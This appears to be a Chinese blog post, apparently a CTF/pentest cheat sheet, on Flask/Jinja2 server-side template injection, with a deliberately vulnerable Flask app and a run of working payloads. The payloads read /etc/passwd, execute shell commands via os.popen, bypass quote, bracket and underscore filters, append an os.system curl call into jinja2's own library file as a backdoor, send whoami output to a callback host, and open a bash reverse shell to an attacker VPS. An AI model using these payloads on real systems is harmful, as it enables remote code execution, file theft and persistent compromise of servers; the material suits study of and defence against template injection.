Flask/Jinja2服务端模版注入

SSTI(服务端模版注入)

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: utf-8 -*-
from flask import *

app = Flask(__name__)


@app.route('/',methods={'post','get'})
def hello():
name = request.values.get('name')
template = "%s" % name
return render_template_string("hello "+template)

if __name__ == '__main__':
app.run(host='0.0.0.0',port=7777,debug=True)

会输出name参数,存在xss漏洞?name=<script>alert(1)</script>即弹窗

模版引擎计算数学表达式

s14.png

该页面存在SSTI

ss.png

(hexo检测这段老是出问题,暂时以图代文)



部分参考:http://p0sec.net/index.php/archives/120/

绕过引号:

1
2
3
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ 
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}
1
2
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)
(request.args.path).read() }}&path=/etc/passwd
1
2
3
4
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()
[59].__init__.__globals__.__builtins__.chr %}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()
}}
1
2
3
{{ 
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id

使用f1.png
绕过f2.png:

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

盲注读文件:

1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}

绕过[]过滤:

1
{{%27%27.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(%27/etc/passwd%27).read()}}
1
{{"".__class__.__mro__.__getitem__(2).__subclasses__().pop(60).__init__.func_globals.values()}}

过滤双下划线

1
title={{(request.values.s1*2,request.values.s2,request.values.s3*2)|join}}&s1=_&s2=import&s3=_
1
secret={{requests|attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)}}&class=class&usc=_

file类是可以列举文件对象,利用file的read方法读取文件

s15.png

利用file写文件

1
{{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("\nos.system('curl your_ip >1')")}}

结合沙盒逃逸Jiaja2模板任意代码执行payload

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

就是获取eval函数并执行任意代码

其中[].__class__.__base__为object,其__subclasses__()指所有继承object的类

urlencode:

1
%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22cat%20/etc/passwd%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

在反弹shell的时候bash -i >& /dev/tcp/vps的ip/7777 0>&1中的&要urlencode为%26

s16.png

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/08/12/FJssti/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog